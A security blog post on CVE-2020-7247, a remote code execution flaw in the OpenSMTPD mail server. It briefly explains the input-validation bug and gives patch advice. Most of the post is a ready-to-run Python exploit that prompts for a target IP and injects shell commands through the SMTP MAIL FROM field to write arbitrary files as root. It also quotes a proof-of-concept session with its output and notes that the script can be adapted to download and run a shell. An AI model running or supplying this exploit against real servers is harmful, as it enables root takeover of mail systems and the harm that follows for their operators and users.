A remote code execution has been found in OpenSMTPD
Summary
A remote code execution vulnerability has been found in the email server program OpenSMTPD.
Which allows a third party to execute shell commands
as root.
Vulnerable versions are openbsd 6.4 to 6.6
CVE-2020–7247
On posix based systems you have mbox
which is the operating systems way of passing messages to users and deliver it to their home
directory. So the email system need privileges to write to every users directory including the root users.
The vulnerability lays in the code:
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2229 if (maddr->domain[0] == '\0') {
2230 (void)strlcpy(maddr->domain, domain,
2231 sizeof(maddr->domain));
2232 return (1);
2233 }
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
If the local part of an email address in not valid and does not have a domain name, it is not properly validated and an third party could
pass dangerous characters and ignore MAILADDR_ALLOWED and MAILADDR_ESCAPE
checks. And pass on a malicious string to the mda command.
Patch it
The vulnerability is affecting openbsd 6.4–6.6 so we recommend that
you upgrade to the latest version https://www.openbsd.org/faq/upgrade65.html
https://www.openbsd.org/faq/upgrade66.html
and run syspatch!
A syspatch is available for openbsd 6.5 and openbsd 6.6
Exploit:
# python3.6
# Remote code execution on OpenSMTPD, found by qualysis
# this exploit executes shell(/usr/sh),
# in this program it just writes to disk
# Written by filip <at> firosolutions.com
# Read our blog at blog.firosolutions.com
import socket, time
import sys
#https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt
"""
$ nc 127.0.0.1 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [127.0.0.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye
this writes to disk:
# ls -l /root/x.*
-rw-r--r-- 1 root wheel 180 Jan 30 16:22 /root/x.0.58416
# cat /root/x.0.58416
(W) uid=0(root) gid=0(wheel) groups=0(wheel)
(O) uid=0(root) gid=0(wheel) groups=0(wheel)
(P) uid=0(root) gid=0(wheel) groups=0(wheel)
(R) uid=0(root) gid=0(wheel) groups=0(wheel)
delilah#
"""
HOST = input("what is the ip address of the host?: ") # The remote host , gimme as raw_input
PORT = 25 # smtp port
s = None
writeto = input("Which file do you want to write to?: ")#raw inputen
writewhat = input("What do you want to write to the file?: ")
payload = b"""\r\n
#0\r\n
#1\r\n
#2\r\n
#3\r\n
#4\r\n
#5\r\n
#6\r\n
#7\r\n
#8\r\n
#9\r\n
#a\r\n
#b\r\n
#c\r\n
#d\r\n
echo '"""+writewhat.encode()+b"""' > """+writeto.encode()+b"""
.
"""
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC, socket.SOCK_STREAM):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except OSError as msg:
s = None
continue
try:
s.connect(sa)
except OSError as msg:
s.close()
s = None
continue
break
if s is None:
print('could not open socket')
sys.exit(1)
with s:
data = s.recv(1024)
print('Received', repr(data))
time.sleep(1)
print('sending')
s.send(b"helo test.com\r\n")
data = s.recv(1024)
print('Received', repr(data))
s.send(b"MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>\r\n")
time.sleep(1)
data = s.recv(1024)
print('Received', repr(data))
s.send(b"RCPT TO:<root>\r\n")
data = s.recv(1024)
print('Received', repr(data))
s.send(b"DATA\r\n")
data = s.recv(1024)
print('Received', repr(data))
s.send(payload)
data = s.recv(1024)
print('Received', repr(data))
s.send(b"QUIT\r\n")
data = s.recv(1024)
print('Received', repr(data))
print("done")
s.close()
The script can easily be rewritten to executing any /bin/sh commando, for example: downloading and executing a shell You can also find a copy of the exploit on our github: https://github.com/FiroSolutions/cve-2020-7247-exploit
External links:
Vulnerability discloser
Opensmtpd
If you are using an rss reader you can subscribe to the blog here:
https://blog.firosolutions.com/exploits/index.xml
https://blog.firosolutions.com/posts/index.xml